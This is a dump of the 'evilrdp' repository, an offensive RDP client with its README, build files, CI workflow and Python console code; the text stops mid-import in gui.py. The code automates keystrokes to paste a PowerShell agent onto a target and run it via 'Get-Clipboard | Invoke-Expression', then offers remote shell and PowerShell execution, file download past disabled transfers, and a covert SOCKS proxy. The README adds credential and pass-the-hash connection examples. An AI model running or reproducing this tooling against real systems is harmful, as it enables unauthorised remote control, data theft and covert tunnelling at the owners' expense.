Repository: skelsec/evilrdp Branch: main Commit: b4dbbcf422c9 Files: 24 Total size: 82.5 KB Directory structure: gitextract_0tnqf5gy/ ├── .github/ │ └── workflows/ │ └── python-windows-exe.yml ├── .gitignore ├── MANIFEST.in ├── Makefile ├── README.md ├── builder/ │ └── pyinstaller/ │ └── build.bat ├── evilrdp/ │ ├── __init__.py │ ├── __main__.py │ ├── _version.py │ ├── consolehelper.py │ ├── external/ │ │ ├── __init__.py │ │ └── aiocmd/ │ │ ├── LICENSE │ │ ├── README.md │ │ ├── __init__.py │ │ ├── aiocmd/ │ │ │ ├── __init__.py │ │ │ ├── aiocmd.py │ │ │ └── nested_completer.py │ │ └── docs/ │ │ └── example.py │ ├── gui.py │ └── vchannels/ │ ├── __init__.py │ └── pscmd/ │ ├── __init__.py │ └── serverscript.ps1 ├── pyproject.toml └── setup.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/workflows/python-windows-exe.yml ================================================ name: Build Windows Executable - PyInstaller # Description: # Most of my projects come with a build.bat script that uses PyInstaller to freeze the examples # to an executable file. This Action will set up the envrionment and run this build.bat script, # then upload the resulting executables to a google cloud bucket. # Additionally the executables will be compressed and encrypted using 7z on: push: branches: - main # Trigger on push to master branch jobs: build: runs-on: windows-latest # Use a Windows runner permissions: contents: 'read' id-token: 'write' steps: - uses: 'actions/checkout@v4' with: fetch-depth: 0 - id: 'auth' uses: 'google-github-actions/auth@v1' with: credentials_json: '${{ secrets.GCLOUD_BUCKET_SERVICE_USER_SECRET }}' - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.9' - name: Install Dependencies run: | python -m pip install --upgrade pip pip install pyinstaller virtualenv - name: Run Batch File to Build Executable run: builder\pyinstaller\build.bat - name: Compress executables run: | "C:\Program Files\7-Zip\7z.exe" a secure.7z *.exe -pprotected working-directory: ${{ github.workspace }}/builder/pyinstaller shell: cmd #- name: Upload Executable # uses: actions/upload-artifact@v2 # with: # name: executable # path: builder\pyinstaller\*.exe - name: 'Set up Cloud SDK' uses: 'google-github-actions/setup-gcloud@v1' with: version: '>= 390.0.0' - name: Upload Executables to GCS run: | $PROJVERSION = python -c "import sys; sys.path.append('${{ github.event.repository.name }}'); import _version; print(_version.__version__)" Write-Host "Detected Version: $PROJVERSION" gsutil cp builder\pyinstaller\*.exe gs://skelsec-github-foss/${{ github.event.repository.name }}/$PROJVERSION/ gsutil cp builder\pyinstaller\*.7z gs://skelsec-github-foss/${{ github.event.repository.name }}/$PROJVERSION/ shell: powershell ================================================ FILE: .gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ cover/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder .pybuilder/ target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv # For a library or package, you might want to ignore these files since the code is # intended to run in multiple environments; otherwise, check them in: # .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # poetry # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. # This is especially recommended for binary packages to ensure reproducibility, and is more # commonly ignored for libraries. # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control #poetry.lock # PEP 582; used by e.g. github.com/David-OConnor/pyflow __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ # pytype static type analyzer .pytype/ # Cython debug symbols cython_debug/ # PyCharm # JetBrains specific template is maintainted in a separate JetBrains.gitignore that can # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore # and can be added to the global gitignore or merged into this file. For a more nuclear # option (not recommended) you can uncomment the following to ignore the entire idea folder. #.idea/ *.tsv *.png *.whl *.exe ================================================ FILE: MANIFEST.in ================================================ include evilrdp/vchannels/pscmd/serverscript.ps1 ================================================ FILE: Makefile ================================================ clean: rm -f -r build/ rm -f -r dist/ rm -f -r *.egg-info find . -name '*.pyc' -exec rm -f {} + find . -name '*.pyo' -exec rm -f {} + find . -name '*~' -exec rm -f {} + publish: clean python3 setup.py sdist bdist_wheel python3 -m twine upload dist/* rebuild: clean python3 setup.py install build: python3 setup.py install ================================================ FILE: README.md ================================================ ![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/skelsec?label=skelsec&style=social)](https://twitter.com/intent/follow?screen_name=skelsec) ## :triangular_flag_on_post: Sponsors If you like this project, consider sponsoring it on GitHub! [Sponsors](https://github.com/sponsors/skelsec/) # EVILRDP - More control over RDP Th evil twin of [`aardwolfgui`](https://github.com/skelsec/aardwolfgui) using the [`aardwolf`](https://github.com/skelsec/aardwolf) RDP client library that gives you extended control over the target and additional scripting capabilities from the command line. # Features - Control mouse and keyboard in an automated way from command line - Control clipboard in an automated way from command line - Spawn a SOCKS proxy from the client that channels network communication to the target via RDP - Execute arbitrary SHELL and PowerShell commands on the target without uploading files - Upload and download files to/from the target even when file transfers are disabled on the target # Scripts - `evilrdp` - GUI + command line RDP client # Usage After installing this package, a new executable will be available called `evilrdp`. Upon making a successful connection to the target you'll be presented with a GUI just like a normal RDP client as well as the command line from where you executed `evilrdp` will turn into an interactive shell. There will be two groups of commands available to you, as follows: - Commands that can be issues any time. This include commands like: - mousemove - rightclick - doubleclick - type - typefile - return/enter - invokerun - clipboardset - clipboardsetfile - clipboardget - powershell - screenshot - Commands which only work when the `PSCMD` channel is established - pscmdchannel - Changes the `PSCMD` channel name from the default. Use this when you changed the channelname in agent script file - **startpscmd - This tries to automatically start the remote agent which allows further commands to be used** - pscmd - Executes a powershell command - getfile - Downloads remote file - shell - Executes a shell command - socksproxy - Starts a SOCKS4a/5 proxy As it is with all things RDP, automatic command execution doesn't always work mostly because of timing issues therefore the `startpscmd` might need to be used 2 times, OR you might need to start the `PSCMD` channel manually. When `PSCMD` channel starts, you'll get a notification in your client shell. # URL format As usual the scripts take the target/scredentials in URL format. Below some examples - `rdp+kerberos-password://TEST\Administrator:Passw0rd!1@win2016ad.test.corp/?dc=10.10.10.2&proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080` CredSSP (aka `HYBRID`) auth using Kerberos auth + password via `socks5` to `win2016ad.test.corp`, the domain controller (kerberos service) is at `10.10.10.2`. The socks proxy is on `127.0.0.1:1080` - `rdp+ntlm-password://TEST\Administrator:Passw0rd!1@10.10.10.103` CredSSP (aka `HYBRID`) auth using NTLM auth + password connecting to RDP server `10.10.10.103` - `rdp+ntlm-password://TEST\Administrator:@10.10.10.103` CredSSP (aka `HYBRID`) auth using Pass-the-Hash (NTLM) auth connecting to RDP server `10.10.10.103` - `rdp+plain://Administrator:Passw0rd!1@10.10.10.103` Plain authentication (No SSL, encryption is RC4) using password connecting to RDP server `10.10.10.103` - See `-h` for more # Kudos - Balazs Bucsay ([@xoreipeip](https://twitter.com/xoreipeip)) [`SocksOverRDP`](https://github.com/nccgroup/SocksOverRDP). The base idea for covert comms over RDP ================================================ FILE: builder/pyinstaller/build.bat ================================================ @echo off set projectname=evilrdp set hiddenimports= --hidden-import aardwolf --hidden-import cryptography --hidden-import cffi --hidden-import cryptography.hazmat.backends.openssl --hidden-import cryptography.hazmat.bindings._openssl --hidden-import unicrypto --hidden-import unicrypto.backends.pycryptodome.DES --hidden-import unicrypto.backends.pycryptodome.TDES --hidden-import unicrypto.backends.pycryptodome.AES --hidden-import unicrypto.backends.pycryptodome.RC4 --hidden-import unicrypto.backends.pure.DES --hidden-import unicrypto.backends.pure.TDES --hidden-import unicrypto.backends.pure.AES --hidden-import unicrypto.backends.pure.RC4 --hidden-import unicrypto.backends.cryptography.DES --hidden-import unicrypto.backends.cryptography.TDES --hidden-import unicrypto.backends.cryptography.AES --hidden-import unicrypto.backends.cryptography.RC4 --hidden-import unicrypto.backends.pycryptodomex.DES --hidden-import unicrypto.backends.pycryptodomex.TDES --hidden-import unicrypto.backends.pycryptodomex.AES --hidden-import unicrypto.backends.pycryptodomex.RC4 set addstatic= --add-data "vchannels/pscmd/serverscript.ps1;." set root=%~dp0 set pyenv=%root%\env set repo=%root%..\..\%projectname% IF NOT DEFINED __BUILDALL_VENV__ (GOTO :CREATEVENV) GOTO :BUILD :CREATEVENV python -m venv %root%\env CALL %root%\env\Scripts\activate.bat pip install pyinstaller GOTO :BUILD :BUILD cd %repo%\..\ pip install . cd %repo% pyinstaller -F __main__.py %addstatic% %hiddenimports% cd %repo%\dist & copy __main__.exe %root%\evilrdp.exe GOTO :CLEANUP :CLEANUP set addstatic= IF NOT DEFINED __BUILDALL_VENV__ (deactivate) cd %root% EXIT /B ================================================ FILE: evilrdp/__init__.py ================================================ ================================================ FILE: evilrdp/__main__.py ================================================ import sys from aardwolf import logger from aardwolf.commons.iosettings import RDPIOSettings from aardwolf.commons.queuedata.constants import VIDEO_FORMAT #from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel from evilrdp._version import __banner__ from evilrdp.gui import EvilRDPGUI, RDPClientConsoleSettings #from evilrdp.consolehelper import EVILRDPConsole from PyQt5.QtWidgets import QApplication, qApp def main(): import logging import argparse parser = argparse.ArgumentParser(description='Async RDP Client. Duckyscript will be executed by pressing ESC 3 times') parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') parser.add_argument('--no-mouse-hover', action='store_false', help='Disables sending mouse hovering data. (saves bandwith)') parser.add_argument('--no-keyboard', action='store_false', help='Disables keyboard input. (whatever)') parser.add_argument('--res', default = '1024x768', help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"') parser.add_argument('--keyboard', default = 'enus', help='Keyboard on the client side. Used for VNC and duckyscript') parser.add_argument('url', help="RDP connection url") args = parser.parse_args() if args.verbose == 1: logger.setLevel(logging.INFO) elif args.verbose == 2: logger.setLevel(logging.DEBUG) elif args.verbose > 2: logger.setLevel(1) width, height = args.res.upper().split('X') height = int(height) width = int(width) iosettings = RDPIOSettings() iosettings.video_width = width iosettings.video_height = height iosettings.video_out_format = VIDEO_FORMAT.PIL iosettings.client_keyboard = args.keyboard #from evilrdp.vchannels.pscmd import PSCMDChannel #iosettings.vchannels['PSCMD'] = PSCMDChannel('PSCMD') #from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel #iosettings.vchannels['PROXY'] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport) settings = RDPClientConsoleSettings(args.url, iosettings) settings.mhover = args.no_mouse_hover settings.keyboard = args.no_keyboard print(__banner__) app = QApplication(sys.argv) qtclient = EvilRDPGUI(settings) qtclient.show() app.exec_() qApp.quit() if __name__ == '__main__': main() ================================================ FILE: evilrdp/_version.py ================================================ __version__ = "0.0.2" __banner__ = \ """ # evilrdp %s # Author: Tamas Jos @skelsec (info@skelsecprojects.com) """ % __version__ ================================================ FILE: evilrdp/consolehelper.py ================================================ import os import sys import traceback import datetime import asyncio from evilrdp.external.aiocmd.aiocmd import aiocmd from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_SCANCODE, RDP_KEYBOARD_UNICODE from aardwolf.connection import RDPConnection from aardwolf.commons.queuedata.constants import MOUSEBUTTON, VIDEO_FORMAT from aardwolf.keyboard.layoutmanager import KeyboardLayoutManager from aardwolf.utils.ducky import DuckyExecutorBase, DuckyReaderFile from aardwolf.commons.target import RDPConnectionDialect from aardwolf.keyboard import VK_MODIFIERS from evilrdp.vchannels.pscmd import PSCMDChannel class EVILRDPConsole(aiocmd.PromptToolkitCmd): def __init__(self, rdpconn:RDPConnection): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.rdpconn = rdpconn self.pscmd_channelname = 'PSCMD' async def do_info(self): print('HELLO!') async def do_mousemove(self, x, y): """Moves the mouse to the given coordinates""" await self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_LEFT, int(x), int(y), False) async def do_rightclick(self, x, y): """Emulates a rightclick on the given coordinates""" for clicked in [True, False]: await self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_RIGHT, int(x), int(y), clicked) async def do_doubleclick(self, x, y): """Emulates a doubleclick on the given coordinates""" for clicked in [True, False, True, False]: await self.rdpconn.send_mouse(MOUSEBUTTON.MOUSEBUTTON_LEFT, int(x), int(y), clicked) async def do_type(self, string, chardelay = 0): """Types the given string on the remote end""" chardelay = int(chardelay) for c in string: await self.rdpconn.send_key_char(c, True) await asyncio.sleep(chardelay/1000) await self.rdpconn.send_key_char(c, False) async def do_return(self): await self.do_enter() async def do_enter(self): """Hits the Return button on the remote end""" await self.rdpconn.send_key_scancode(28, True, False) await self.rdpconn.send_key_scancode(28, False, False) async def do_invokerun(self): """Hits WIN+R""" await self.rdpconn.send_key_scancode(57435, True, True) await asyncio.sleep(100/1000) await self.rdpconn.send_key_scancode(0x13, True, False) await asyncio.sleep(0.5) await self.rdpconn.send_key_scancode(0x13, False, False) await asyncio.sleep(100/1000) await self.rdpconn.send_key_scancode(57435, False, True) async def do_clipboardset(self, text): """Sets the clipboard text on the remote end""" await self.rdpconn.set_current_clipboard_text(text) async def do_clipboardsetfile(self, filepath): """Sets the clipboard text on the remote end from a local textfile""" with open(filepath, 'r') as f: text = f.read() await self.do_clipboardset(text) async def do_clipboardget(self, outfile = None): """Gets the clipboard text from the remote end""" clipdata = await self.rdpconn.get_current_clipboard_text() if outfile is not None and len(outfile) > 0: with open(outfile, 'wb') as f: f.write(clipdata.encode()) else: print(clipdata) async def do_typefile(self, fname, chardelay = 1/10000): """Types the contents of a text file line-by-line""" with open(fname, 'r') as f: for line in f: line = line.rstrip() await self.do_type(line+'\n', chardelay=chardelay) await asyncio.sleep(100/1000) print('Done!') async def do_powershell(self): """Invokes a powershell prompt on the remote end""" await self.do_invokerun() await asyncio.sleep(100/1000) await self.do_type('powershell') await asyncio.sleep(100/1000) await self.do_enter() async def do_disconnect(self): """Exit the RDP session""" await self.rdpconn.terminate() async def do_quit(self): """Exit the RDP session""" await self.do_disconnect() async def do_screenshot(self): """Takes a screenshot""" imgdata = self.rdpconn.get_desktop_buffer(VIDEO_FORMAT.PNG) fname = 'screenshot_%s.png' % datetime.datetime.utcnow().strftime("%Y_%m_%d_%H%MZ") with open(fname, 'wb') as f: f.write(imgdata) print('Screenshot data saved! %s' % fname) #async def do_duckyfile(self, dfile): # try: # async def ducky_keyboard_sender(scancode, is_pressed, as_char = False): # ### Callback function for the duckyexecutor to dispatch scancodes/characters to the remote end # try: # #print('SCANCODE: %s' % scancode) # #print('is_pressed: %s' % is_pressed) # #print('as_char: %s' % as_char) # if as_char is False: # ki = RDP_KEYBOARD_SCANCODE() # ki.keyCode = scancode # ki.is_pressed = is_pressed # ki.modifiers = VK_MODIFIERS(0) # await self.rdpconn.ext_in_queue.put(ki) # else: # ki = RDP_KEYBOARD_UNICODE() # ki.char = scancode # ki.is_pressed = is_pressed # await self.rdpconn.ext_in_queue.put(ki) # except Exception as e: # traceback.print_exc() # # layout = KeyboardLayoutManager().get_layout_by_shortname(self.rdpconn.iosettings.client_keyboard) # executor = DuckyExecutorBase(layout, ducky_keyboard_sender, send_as_char = True if self.rdpconn.target.dialect == RDPConnectionDialect.VNC else False) # reader = DuckyReaderFile.from_file(dfile, executor) # await reader.parse() # # except Exception as e: # traceback.print_exc() async def do_pscmdchannel(self, channelname = None): """Changes the PSCMD channel's name""" if channelname is None or len(channelname) == 0: print('Current PSCMD channel name: %s' % self.pscmd_channelname) return self.pscmd_channelname = channelname await self.do_pscmdchannel(self) async def do_startpscmd(self, channelname = 'PSCMD', scriptfile = 'serverscript.ps1'): """Starts a PSCMD channel on the remote end""" if scriptfile is None: scriptfile = 'serverscript.ps1' if channelname not in self.rdpconn.get_vchannels(): await self.rdpconn.add_vchannel(channelname, PSCMDChannel(channelname)) try: if os.path.exists(scriptfile) is False: if hasattr(sys, '_MEIPASS') is True: scriptfile = os.path.join(sys._MEIPASS, scriptfile) if os.path.exists(scriptfile) is False: basedir = os.path.dirname(os.path.abspath(__file__)) scriptfile = os.path.join(basedir, 'vchannels', 'pscmd', 'serverscript.ps1') except: print('%s could not be found!' % scriptfile) return await self.do_powershell() await asyncio.sleep(0) await self.do_clipboardsetfile(scriptfile) await asyncio.sleep(1) await self.do_type('Get-Clipboard | Invoke-Expression') await self.do_return() async def do_pscmd(self, cmd): """Executes a powershell command on the remote host. Requires PSCMD""" try: if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels: print('PSCMD channel was either not defined while connecting OR the channel name is not the default.') print('Set the correct channel name using "pscmdchannel" command') return vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname] if vchannel.channel_active_evt.is_set() is False: print('Channel is defined, but is not active. Did you execute the client code on the server?') return response = await vchannel.sendrcv_pscmd(cmd) for line in response.split('\n'): print(line.strip()) except Exception as e: traceback.print_exc() async def do_getfile(self, filepath, dstfilepath): """Downloads a remote file. Requires PSCMD""" try: if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels: print('PSCMD channel was either not defined while connecting OR the channel name is not the default.') print('Set the correct channel name using "pscmdchannel" command') return vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname] if vchannel.channel_active_evt.is_set() is False: print('Channel is defined, but is not active. Did you execute the client code on the server?') return print('Downloading file...') with open(dstfilepath, 'wb') as f: async for response in vchannel.sendrcv_getfile(filepath): f.write(response) print('%s Downloaded to %s' % (filepath, dstfilepath)) except Exception as e: traceback.print_exc() async def do_shell(self, cmd): """Executes a shell command. Requires PSCMD""" try: if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels: print('PSCMD channel was either not defined while connecting OR the channel name is not the default.') print('Set the correct channel name using "pscmdchannel" command') return vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname] if vchannel.channel_active_evt.is_set() is False: print('Channel is defined, but is not active. Did you execute the client code on the server?') return async for stderr_or_stout, response in vchannel.sendrcv_shellexec(cmd): for line in response.split('\n'): line = line.strip() print(line) except Exception as e: traceback.print_exc() #async def do_socksoverrdp(self, channelname = '', listen_ip = '127.0.0.1', listen_port = 9998): # #from aardwolf.extensions.RDPEDYC.vchannels.socksoverrdp import SocksOverRDPChannel #iosettings.vchannels['PROXY'] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport) # iosettings.vchannels[args.sockschannel] = SocksOverRDPChannel(args.sockschannel, args.socksip, args.socksport) async def do_socksproxy(self, listen_ip = '127.0.0.1', listen_port = 9999): """Creates a socks proxy. Requires PSCMD""" try: if self.pscmd_channelname not in self.rdpconn.iosettings.vchannels: print('PSCMD channel was either not defined while connecting OR the channel name is not the default.') print('Set the correct channel name using "pscmdchannel" command') return vchannel = self.rdpconn.iosettings.vchannels[self.pscmd_channelname] if vchannel.channel_active_evt.is_set() is False: print('Channel is defined, but is not active. Did you execute the client code on the server?') return if listen_ip is None or len(listen_ip) == 0: listen_ip = '127.0.0.1' if listen_port is None: listen_port = 9999 _, err = await vchannel.socksproxy(listen_ip, int(listen_port)) if err is not None: print('Failed to start proxy server! Reason: %s' % err) return except Exception as e: traceback.print_exc() ================================================ FILE: evilrdp/external/__init__.py ================================================ ================================================ FILE: evilrdp/external/aiocmd/LICENSE ================================================ MIT License Copyright (c) 2019 Dor Green Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: evilrdp/external/aiocmd/README.md ================================================ # aiocmd Coroutine-based CLI generator using prompt_toolkit, similarly to the built-in cmd module. ## How to install? Simply use `pip3 install aiocmd` ## How to use? To use, inherit from the `PromptToolkitCmd` class and implement the `do_` for each command. Each command can receive arguments and optional (keyword) arguments. You then must run the `run()` coroutine to start the CLI. For instance: ```python import asyncio from aiocmd import aiocmd class MyCLI(aiocmd.PromptToolkitCmd): def do_my_action(self): """This will appear in help text""" print("You ran my action!") def do_add(self, x, y): print(int(x) + int(y)) async def do_sleep(self, sleep_time=1): await asyncio.sleep(int(sleep_time)) if __name__ == "__main__": asyncio.get_event_loop().run_until_complete(MyCLI().run()) ``` Will create this CLI: ![CLIImage](./docs/image1.png) ## Extra features You can implement a custom completion for each command by implementing `__completions`. For example, to complete a single-digit number for the `add` action: ```python class MyCLI(aiocmd.PromptToolkitCmd): def _add_completions(self): return WordCompleter([str(i) for i in range(9)]) ``` ![CLIImage](./docs/image2.png) You can also set a custom `prompt` and `aliases` parameters for the class (example in docs). ================================================ FILE: evilrdp/external/aiocmd/__init__.py ================================================ ================================================ FILE: evilrdp/external/aiocmd/aiocmd/__init__.py ================================================ ================================================ FILE: evilrdp/external/aiocmd/aiocmd/aiocmd.py ================================================ import asyncio import inspect import shlex import signal import sys import traceback from prompt_toolkit import PromptSession from prompt_toolkit.completion import WordCompleter from prompt_toolkit.key_binding import KeyBindings from prompt_toolkit.patch_stdout import patch_stdout try: from prompt_toolkit.completion.nested import NestedCompleter except ImportError: from aiocmd.nested_completer import NestedCompleter class ExitPromptException(Exception): pass class PromptToolkitCmd: """Baseclass for custom CLIs Works similarly to the built-in Cmd class. You can inherit from this class and implement: - do_ - This will add the "" command to the cli. The method may receive arguments (required) and keyword arguments (optional). - __completions - Returns a custom Completer class to use as a completer for this action. Additionally, the user cant change the "prompt" variable to change how the prompt looks, and add command aliases to the 'aliases' dict. """ ATTR_START = "do_" prompt = "$ " doc_header = "Documented commands:" aliases = {"?": "help", "exit": "quit"} def __init__(self, ignore_sigint=True): self.completer = self._make_completer() self.session = None self._ignore_sigint = ignore_sigint self._currently_running_task = None async def run(self): if self._ignore_sigint and sys.platform != "win32": asyncio.get_event_loop().add_signal_handler(signal.SIGINT, self._sigint_handler) self.session = PromptSession(enable_history_search=True, key_bindings=self._get_bindings()) try: with patch_stdout(): await self._run_prompt_forever() finally: if self._ignore_sigint and sys.platform != "win32": asyncio.get_event_loop().remove_signal_handler(signal.SIGINT) await self._on_close() async def _run_prompt_forever(self): while True: try: result = await self.session.prompt_async(self.prompt, completer=self.completer) except EOFError: return if not result: continue args = shlex.split(result) if args[0] in self.command_list: try: self._currently_running_task = asyncio.ensure_future( self._run_single_command(args[0], args[1:])) await self._currently_running_task except asyncio.CancelledError: print() continue except ExitPromptException: return else: print("Command %s not found!" % args[0]) def _sigint_handler(self): if self._currently_running_task: self._currently_running_task.cancel() def _get_bindings(self): bindings = KeyBindings() bindings.add("c-c")(lambda event: self._interrupt_handler(event)) return bindings async def _run_single_command(self, command, args): command_real_args, command_real_kwargs = self._get_command_args(command) if len(args) < len(command_real_args) or len(args) > (len(command_real_args) + len(command_real_kwargs)): print("Bad command args. Usage: %s" % self._get_command_usage(command, command_real_args, command_real_kwargs)) return try: com_func = self._get_command(command) if asyncio.iscoroutinefunction(com_func): await com_func(*args) else: com_func(*args) return except (ExitPromptException, asyncio.CancelledError): raise except Exception as ex: traceback.print_exc() print("Command failed: ", ex) def _interrupt_handler(self, event): event.cli.current_buffer.text = "" def _make_completer(self): return NestedCompleter({com: self._completer_for_command(com) for com in self.command_list}) def _completer_for_command(self, command): if not hasattr(self, "_%s_completions" % command): return WordCompleter([]) return getattr(self, "_%s_completions" % command)() def _get_command(self, command): if command in self.aliases: command = self.aliases[command] return getattr(self, self.ATTR_START + command) def _get_command_args(self, command): args = [param for param in inspect.signature(self._get_command(command)).parameters.values() if param.default == param.empty] kwargs = [param for param in inspect.signature(self._get_command(command)).parameters.values() if param.default != param.empty] return args, kwargs def _get_command_usage(self, command, args, kwargs): return ("%s %s %s" % (command, " ".join("<%s>" % arg for arg in args), " ".join("[%s]" % kwarg for kwarg in kwargs), )).strip() @property def command_list(self): return [attr[len(self.ATTR_START):] for attr in dir(self) if attr.startswith(self.ATTR_START)] + list(self.aliases.keys()) def do_help(self): print() print(self.doc_header) print("=" * len(self.doc_header)) print() get_usage = lambda command: self._get_command_usage(command, *self._get_command_args(command)) max_usage_len = max([len(get_usage(command)) for command in self.command_list]) for command in sorted(self.command_list): command_doc = self._get_command(command).__doc__ print(("%-" + str(max_usage_len + 2) + "s%s") % (get_usage(command), command_doc or "")) def do_quit(self): """Exit the prompt""" raise ExitPromptException() async def _on_close(self): """Optional hook to call on closing the cmd""" pass ================================================ FILE: evilrdp/external/aiocmd/aiocmd/nested_completer.py ================================================ """ Nestedcompleter for completion of hierarchical data structures. """ from typing import Dict, Iterable, Mapping, Optional, Set, Union from prompt_toolkit.completion import CompleteEvent, Completer, Completion from prompt_toolkit.completion.word_completer import WordCompleter from prompt_toolkit.document import Document __all__ = [ 'NestedCompleter' ] NestedDict = Mapping[str, Union['NestedDict', Set[str], None, Completer]] class NestedCompleter(Completer): """ Completer which wraps around several other completers, and calls any the one that corresponds with the first word of the input. By combining multiple `NestedCompleter` instances, we can achieve multiple hierarchical levels of autocompletion. This is useful when `WordCompleter` is not sufficient. If you need multiple levels, check out the `from_nested_dict` classmethod. """ def __init__(self, options: Dict[str, Optional[Completer]], ignore_case: bool = True) -> None: self.options = options self.ignore_case = ignore_case def __repr__(self) -> str: return 'NestedCompleter(%r, ignore_case=%r)' % (self.options, self.ignore_case) @classmethod def from_nested_dict(cls, data: NestedDict) -> 'NestedCompleter': """ Create a `NestedCompleter`, starting from a nested dictionary data structure, like this: .. code:: data = { 'show': { 'version': None, 'interfaces': None, 'clock': None, 'ip': {'interface': {'brief'}} }, 'exit': None 'enable': None } The value should be `None` if there is no further completion at some point. If all values in the dictionary are None, it is also possible to use a set instead. Values in this data structure can be a completers as well. """ options = {} for key, value in data.items(): if isinstance(value, Completer): options[key] = value elif isinstance(value, dict): options[key] = cls.from_nested_dict(value) elif isinstance(value, set): options[key] = cls.from_nested_dict({item: None for item in value}) else: assert value is None options[key] = None return cls(options) def get_completions(self, document: Document, complete_event: CompleteEvent) -> Iterable[Completion]: # Split document. text = document.text_before_cursor.lstrip() # If there is a space, check for the first term, and use a # subcompleter. if ' ' in text: first_term = text.split()[0] completer = self.options.get(first_term) # If we have a sub completer, use this for the completions. if completer is not None: remaining_text = document.text[len(first_term):].lstrip() move_cursor = len(document.text) - len(remaining_text) new_document = Document( remaining_text, cursor_position=document.cursor_position - move_cursor) for c in completer.get_completions(new_document, complete_event): yield c # No space in the input: behave exactly like `WordCompleter`. else: completer = WordCompleter(list(self.options.keys()), ignore_case=self.ignore_case) for c in completer.get_completions(document, complete_event): yield c ================================================ FILE: evilrdp/external/aiocmd/docs/example.py ================================================ import asyncio from prompt_toolkit.completion import WordCompleter from aiocmd import aiocmd class MyCLI(aiocmd.PromptToolkitCmd): def __init__(self, my_name="My CLI"): super().__init__() self.prompt = "%s $ " % my_name self.aliases["nap"] = "sleep" def do_my_action(self): """This will appear in help text""" print("You ran my action!") def do_add(self, x, y): print(int(x) + int(y)) def do_echo(self, to_echo): print(to_echo) async def do_sleep(self, sleep_time=1): await asyncio.sleep(int(sleep_time)) def _add_completions(self): return WordCompleter([str(i) for i in range(9)]) def _sleep_completions(self): return WordCompleter([str(i) for i in range(1, 60)]) if __name__ == "__main__": asyncio.get_event_loop().run_until_complete(MyCLI().run()) ================================================ FILE: evilrdp/gui.py ================================================ import sys import asyncio import traceback import queue import threading import time from aardwolf import logger from aardwolf.keyboard import VK_MODIFIERS from aardwolf.commons.factory import RDPConnectionFactory from aardwolf.commons.iosettings import RDPIOSettings from aardwolf.commons.queuedata import RDPDATATYPE from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_SCANCODE, RDP_KEYBOARD_UNICODE from aardwolf.commons.queuedata.mouse import RDP_MOUSE from aardwolf.extensions.RDPECLIP.protocol.formatlist import CLIPBRD_FORMAT from aardwolf.commons.queuedata.clipboard import RDP_CLIPBOARD_DATA_TXT from aardwolf.commons.queuedata.constants import MOUSEBUTTON from aardwolf.commons.target import RDPConnectionDialect from evilrdp.consolehelper import EVILRDPConsole from PIL.ImageQt import ImageQt from PyQt5.QtWidgets import QApplication, QMainWindow, qApp, QLabel from 